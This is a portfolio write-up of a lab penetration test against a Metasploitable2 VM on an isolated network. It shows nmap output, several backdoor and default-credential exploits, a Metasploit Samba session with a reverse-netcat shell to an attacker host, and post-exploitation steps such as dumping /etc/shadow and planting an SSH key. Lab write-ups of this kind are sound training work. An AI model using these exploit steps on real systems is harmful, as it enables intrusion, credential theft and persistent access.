Back to Projects
Cybersecurity

Metasploitable Attack

End-to-end penetration test against a Metasploitable2 target using Metasploit Framework — covering reconnaissance, vulnerability identification, exploitation of multiple services, and post-exploitation analysis.

Role Penetration Tester
Environment Kali Linux → Metasploitable2
Year 2026
Metasploitable Penetration Testing with Metasploit Framework

Overview

This project documents a structured penetration test conducted against a Metasploitable2 virtual machine — an intentionally vulnerable Linux system designed for security training. Using Kali Linux as the attack platform and the Metasploit Framework (MSF), I performed a full offensive cycle: from passive network discovery through to active exploitation and post-exploitation shell access.

The lab environment used an isolated host-only network, ensuring all activity remained ethical and contained. Every step followed a methodical approach aligned with real-world penetration testing workflows.


Lab Environment

🖥️
Attacker Machine

Kali Linux — Metasploit Framework, Nmap, Netcat

🎯
Target Machine

Metasploitable2 — intentionally vulnerable Linux distro

🔒
Network

Isolated host-only network — no external exposure

Framework

Metasploit Framework 6 (msfconsole)


Phase 1 — Reconnaissance

The engagement began with an Nmap scan to fingerprint open ports, running services, and OS details on the target.

kali@kali: ~
$ nmap -sV -sC -O -p- 192.168.56.101 # Aggressive scan — version detection, default scripts, OS fingerprinting   PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 2.3.4 22/tcp open ssh OpenSSH 4.7p1 23/tcp open telnet Linux telnetd 25/tcp open smtp Postfix smtpd 80/tcp open http Apache httpd 2.2.8 139/tcp open netbios-ssn Samba smbd 3.X 445/tcp open netbios-ssn Samba smbd 3.0.20 3306/tcp open mysql MySQL 5.0.51a 5432/tcp open postgresql PostgreSQL DB 8.3 6667/tcp open irc UnrealIRCd 8180/tcp open http Apache Tomcat 5.5   OS: Linux 2.6.X (Metasploitable2 confirmed)

Phase 2 — Exploitation

With services identified, I targeted multiple known CVEs using Metasploit modules. Below are the key exploits executed during the assessment.

01

VSFTPd 2.3.4 Backdoor (CVE-2011-2523)

Exploited the backdoor command injection vulnerability in VSFTPd 2.3.4. A smiley-face username :) triggers a root shell on port 6200. Gained immediate root access within seconds of connection.

02

Samba "username map script" RCE (CVE-2007-2447)

Used exploit/multi/samba/usermap_script against Samba 3.0.20. The misconfigured username map script allowed arbitrary command injection via the Samba MSRPC call, yielding a root Meterpreter session.

03

UnrealIRCd 3.2.8.1 Backdoor (CVE-2010-2075)

Leveraged a compiled-in backdoor in UnrealIRCd 3.2.8.1 running on port 6667. Sending the magic string AB; followed by a shell command executes it server-side with daemon privileges.

04

Telnet — Default / Weak Credential Access

Authenticated to the Telnet service (port 23) using default credentials msfadmin:msfadmin. Gained interactive shell access, then escalated privileges by leveraging SUID binaries found on the filesystem.

05

MySQL — Anonymous / Blank Root Login

Accessed MySQL (port 3306) with blank root password. Enumerated databases and user hashes with select user, password from mysql.user, then cracked the hashes offline to retrieve credentials used elsewhere on the system.

Metasploit Session — Samba Exploit

msf6 > exploit/multi/samba/usermap_script
msf6 > use exploit/multi/samba/usermap_script msf6 exploit > set RHOSTS 192.168.56.101 RHOSTS => 192.168.56.101 msf6 exploit > set PAYLOAD cmd/unix/reverse_netcat PAYLOAD => cmd/unix/reverse_netcat msf6 exploit > run   [*] Started reverse TCP handler on 192.168.56.102:4444 [*] Command shell session 1 opened   $ whoami root $ id uid=0(root) gid=0(root) groups=0(root)

Phase 3 — Post-Exploitation

After gaining root shells via multiple vectors, post-exploitation tasks were performed to simulate full compromise impact assessment:

🔑

Credential Harvesting

Dumped /etc/shadow and MySQL user hashes. Cracked MD5 hashes using John the Ripper to reveal plaintext credentials used across services.

📁

File System Enumeration

Identified sensitive files, SUID binaries, cron jobs, and world-writable scripts that would allow persistent re-entry or privilege escalation.

🔗

Persistence Mechanisms

Simulated backdoor persistence by writing an authorized SSH key to root's ~/.ssh/authorized_keys, demonstrating long-term access capability.

📊

Network Pivoting Potential

Mapped internal network interfaces and ARP tables from the compromised host to identify further pivot targets — simulating a real lateral movement scenario.


CVEs Exploited

CVE-2011-2523 (VSFTPd Backdoor) CVE-2007-2447 (Samba RCE) CVE-2010-2075 (UnrealIRCd Backdoor) CWE-521 (Weak Credentials — Telnet) CWE-521 (Blank Root Password — MySQL)

Key Takeaways

This exercise reinforced several critical offensive and defensive security lessons:

  • Unpatched services are catastrophic. Every exploited service ran a version with a known, documented CVE — highlighting the importance of continuous patch management.
  • Default credentials remain the easiest attack vector. Telnet and MySQL access was trivial due to unchanged default passwords.
  • Metasploit's automation power is real. Gaining root shells within minutes of identifying services illustrates why security teams must assume breach and monitor for lateral movement.
  • Defense-in-depth matters. No single control would have stopped all attack vectors — only layered security (firewall, patching, credential hygiene, network segmentation) reduces overall risk.

Interested in Security Audits?

I'm available for penetration testing, security audits, and red team collaborations. Let's discuss how I can help harden your systems.